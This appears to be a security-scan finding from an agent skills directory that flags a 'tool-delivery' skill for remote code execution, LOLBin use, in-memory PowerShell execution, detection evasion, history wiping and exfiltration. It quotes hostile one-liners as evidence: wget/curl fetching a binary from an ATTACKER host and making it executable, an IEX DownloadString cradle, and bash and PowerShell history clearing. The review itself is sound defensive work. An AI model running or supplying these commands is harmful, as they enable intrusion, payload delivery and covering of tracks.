The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides explicit instructions for downloading and executing binaries from external, potentially malicious servers using placeholders like ATTACKER. Evidence includes patterns such as wget http://ATTACKER:8888/fscan -O /tmp/fscan && chmod +x /tmp/fscan and curl http://ATTACKER:8888/fscan -o /tmp/fscan.
[COMMAND_EXECUTION]: There is extensive documentation on using system administrative tools and Living-off-the-Land Binaries (LOLBins) to facilitate unauthorized file delivery and execution. This includes the use of certutil, bitsadmin, powershell, and nc on target systems.
[DYNAMIC_EXECUTION]: The skill instructs on memory-only execution techniques, specifically using PowerShell's IEX (Invoke-Expression) to download and run scripts directly in memory (IEX (New-Object Net.WebClient).DownloadString(...)), which is a common technique for bypassing disk-based security scanning.
[OBFUSCATION]: The instructions detail methods for evading detection by security software, including the use of Base64 encoding for file transfers to bypass network inspection and UPX packing to alter file hashes and evade signature-based detection.
[PERSISTENCE]: The skill includes procedures for anti-forensics and clearing operational traces to maintain unauthorized access. Examples include clearing bash history (history -c && unset HISTFILE) and removing PowerShell history logs (Remove-Item (Get-PSReadlineOption).HistorySavePath).
[DATA_EXFILTRATION]: While focused on tool delivery, the methods documented (such as /dev/tcp transfers and Netcat listeners) are equally applicable for unauthorized data exfiltration from compromised environments.

tool-delivery